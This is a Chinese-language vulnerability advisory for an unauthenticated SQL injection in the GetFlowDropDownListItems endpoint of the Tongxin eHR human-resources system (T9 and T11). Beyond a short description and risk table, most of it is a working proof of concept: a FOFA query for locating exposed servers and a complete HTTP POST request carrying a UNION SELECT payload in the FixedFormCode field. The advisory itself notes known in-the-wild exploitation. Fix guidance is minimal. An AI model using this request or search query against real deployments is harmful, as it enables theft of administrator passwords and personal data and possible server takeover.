

同鑫eHR人力资源管理系统

GetFlowDropDownListItems SQL注入漏洞

漏洞描述

同鑫eHR人力资源管理系统 GetFlowDropDownListItems 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响范围

同鑫T9eHR、同鑫T11eHR

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: body="/TX.CDN"

POC/EXP:

POST /Common/GetFlowDropDownListItems HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Content-Type: application/x-www-form-urlencoded; charset=utf-8

FixedFormCode=1%27%20UNION%20ALL%20SELECT%20NULL%2C@@VERSION--



修复方案

1. 关闭互联网暴露面或接口设置访问权限
升级至安全版本